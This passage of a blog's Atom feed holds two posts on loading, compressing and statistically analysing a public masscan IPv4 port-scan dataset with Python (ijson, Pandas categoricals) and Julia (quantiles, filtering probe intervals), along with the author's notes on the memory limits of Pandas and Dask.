&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;quantile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;.25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;.75&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Vector&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;2.0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iqr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;8.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The median confirms our first analysis: the distribution is right skewed &lt;em&gt;(the mean is on the right of the median)&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id="what-about-the-zero-interval"&gt;What about the zero interval?&lt;/h3&gt;
&lt;p&gt;We can filter which rows has such in two ways being the second one the preferred and fastest:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dfrows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dfrows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:interval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Choosing one of the got IPs we can get the probes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;22207380&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;×&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SubDataFrame&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;Cat…&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Cat…&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;
&lt;span class="n"&gt;─────┼──────────────────────────────────────────────&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1619740697&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ack&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;22207380&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1619740697&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ack&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;22207380&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as you see has 1-second resolution (&lt;a href="https://github.com/robertdavidgraham/masscan/blob/2895fa0acfe45983a3e9b2bbfadf25934c8d2c65/src/out-binary.c#L131"&gt;4 bytes&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;We could assume then that these two probes were done with 1-second interval apart but due the low resolution of the clock we got the same timestamp.&lt;/p&gt;
&lt;h2 id="some-thoughts"&gt;Some thoughts&lt;/h2&gt;
&lt;p&gt;My initial idea was to use this walk-through to learn and practice &lt;a href="https://pandas.pydata.org/"&gt;Pandas&lt;/a&gt;. Having a dataset of a non-trivial size, I knew that this was going to be a challenge.&lt;/p&gt;
&lt;p&gt;But what a better opportunity to work with &lt;a href="https://dask.org/"&gt;Dask&lt;/a&gt; too!&lt;/p&gt;
&lt;p&gt;I really tried to make it work but even processing a 10% of the dataset made no difference: Pandas and Dask consumed so much memory that I couldn’t finish a single group-by + aggregation.&lt;/p&gt;
&lt;p&gt;It is obvious that there are too many copies.&lt;/p&gt;
&lt;p&gt;Doing a home-made custom aggregation function to sort this, I successfully &lt;em&gt;bypassed&lt;/em&gt; the memory problem but I ended up in another one: &lt;em&gt;CPU 100% never-finishing&lt;/em&gt; execution problem.&lt;/p&gt;
&lt;p&gt;The custom aggregation function was written in Python, of course, but calling Python code for each row is incredible slow.&lt;/p&gt;
&lt;p&gt;And all of this for a reduced dataset!&lt;/p&gt;
&lt;p&gt;I’m talking of processing a 10% dataset and it didn’t finish after running for a whole night.&lt;/p&gt;
&lt;p&gt;After a week of trying and failing, it was clear that Pandas+Dask need more love.&lt;/p&gt;
&lt;p&gt;That’s when I considered &lt;a href="https://julialang.org/"&gt;Julia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Julia code is compiled into machine code and because it deduces the types (most of the times), it can pack the data in arrays with high-locality and generates fast code ala C.&lt;/p&gt;
&lt;p&gt;It is not magic and the libraries are designed to work in this way and avoid any sort of temporal copies.&lt;/p&gt;
&lt;p&gt;On the other hand Julia libraries are much more modest in capabilities compared with Python’s ones.&lt;/p&gt;
&lt;p&gt;It is a non-trivial trade-of.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/09/19/IPv4-Scan-Part-II-Multiprobes-Analysis.html" rel="alternate" type="text/html" title="IPv4 Scan 2021 - Multiprobes Analysis"/>
    <category term="pandas" label="pandas"/>
    <category term="julia" label="julia"/>
    <category term="categorical" label="categorical"/>
    <category term="ordinal" label="ordinal"/>
    <category term="parquet" label="parquet"/>
    <category term="statistics" label="statistics"/>
    <category term="seaborn" label="seaborn"/>
    <published>2021-09-19T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/09/10/IPv4-Scan-Dataset-Preprocessing.html</id>
    <title>IPv4 Scan 2021 - Dataset Preprocessing</title>
    <updated>2021-09-10T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The &lt;a href="https://www.kaggle.com/signalspikes/internet-port-scan-1"&gt;dataset&lt;/a&gt; is a survey or port scan of the whole IPv4 range made with &lt;a href="https://github.com/robertdavidgraham/masscan"&gt;masscan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The dataset however is much smaller than the expected mostly because most of the hosts didn’t response and/or they had all the scanned ports closed.&lt;/p&gt;
&lt;p&gt;Only open ports were registered.&lt;/p&gt;
&lt;p&gt;More over, of the 65536 available ports only a few were scanned and only for the TCP protocol.&lt;/p&gt;
&lt;p&gt;Even with such reduced scope the dataset occupies around 9 GB.&lt;/p&gt;
&lt;p&gt;This post is a walk-through for loading and preprocessing it.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="loading-json"&gt;Loading JSON&lt;/h2&gt;
&lt;p&gt;The original dataset is in JSON that it is not the most space-efficient format.&lt;/p&gt;
&lt;p&gt;It consists in an array of hosts and per host we have an array of ports.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;165.221.32.138&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;timestamp&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1619562631&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ports&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;proto&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tcp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;status&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;open&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;syn-ack&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;245&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So there is plenty room for improvements.&lt;/p&gt;
&lt;p&gt;Python’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; library loads everything to memory. This is a no-go. We use instead &lt;a href="https://github.com/ICRAR/ijson"&gt;ijson&lt;/a&gt; that iterates over the elements of the file loading only what it is needed.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;ijson&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;

&lt;span class="c1"&gt;# read from standard input and yield each host from it&lt;/span&gt;
&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ijson&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;item&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;timestamp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ports&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="ipv4-packing"&gt;IPv4 packing&lt;/h2&gt;
&lt;p&gt;The IP address can be stored in 4 bytes and Python’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can pack it for us:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;ipaddress&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;timestamp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ports&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;

    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="categorical-data"&gt;Categorical data&lt;/h2&gt;
&lt;p&gt;Each port has a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and protocol (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;proto&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;). Because those two are fixed to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tcp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; respectively, it is pointless to store them.&lt;/p&gt;
&lt;p&gt;The rest of the port’s attributes are more interesting:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="n"&gt;reason&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;reason&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a string that represent why the port is open. But strings are expensive.&lt;/p&gt;
&lt;p&gt;We can use instead a &lt;em&gt;categorical type&lt;/em&gt;, a mapping between these strings and integers that represent them more efficiently:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pandas.api.types&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CategoricalDtype&lt;/span&gt;

&lt;span class="c1"&gt;# all the reasons that are in the dataset&lt;/span&gt;
&lt;span class="n"&gt;reason_cat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CategoricalDtype&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;syn-ack&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;syn-ack-ece-cwr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;syn-ack-ece&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;syn-psh-ack&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;syn-ack-cwr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;fin-syn-ack&amp;#39;&lt;/span&gt;
    &lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Pandas already generates the categories for us but this requires to feed Pandas with all the dataset at once.&lt;/p&gt;
&lt;p&gt;Instead we create the categories beforehand, split the dataset into manageable subsets, &lt;em&gt;buckets&lt;/em&gt; or &lt;em&gt;partitions&lt;/em&gt; and create one Pandas’ &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; per bucket/partition.&lt;/p&gt;
&lt;p&gt;We use the &lt;em&gt;same&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;reason_cat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; object for all the dataframes created.&lt;/p&gt;
&lt;p&gt;This is critical because merging/concatenating two dataframes with different (but semantically-equivalent) category sets will &lt;strong&gt;not&lt;/strong&gt; raise any error but it will convert the column(s) into object type.&lt;/p&gt;
&lt;p&gt;Quiet unhappy.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClllcywgSSBrbm93LCAyMiBpcyBsZXNzIHRoYW4gODAKYnV0IGl0IGlzIG1lYW5pbmdsZXNzOiAic3NoIiBpcyBsZXNzIHRoYW4gImh0dHAiLCB3aGF0IGNvdWxkIHlvdSBkcmF3CmZyb20gaXQ/CiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClllcywgSSBrbm93LCAyMiBpcyBsZXNzIHRoYW4gODAKYnV0IGl0IGlzIG1lYW5pbmdsZXNzOiAic3NoIiBpcyBsZXNzIHRoYW4gImh0dHAiLCB3aGF0IGNvdWxkIHlvdSBkcmF3CmZyb20gaXQ/CiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Yes, I know, 22 is less than 80 but it is meaningless: “ssh” is less than “http”, what could you draw from it?
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The port numbers are also categories as they are not quantities nor have a meaningful order.&lt;/p&gt;
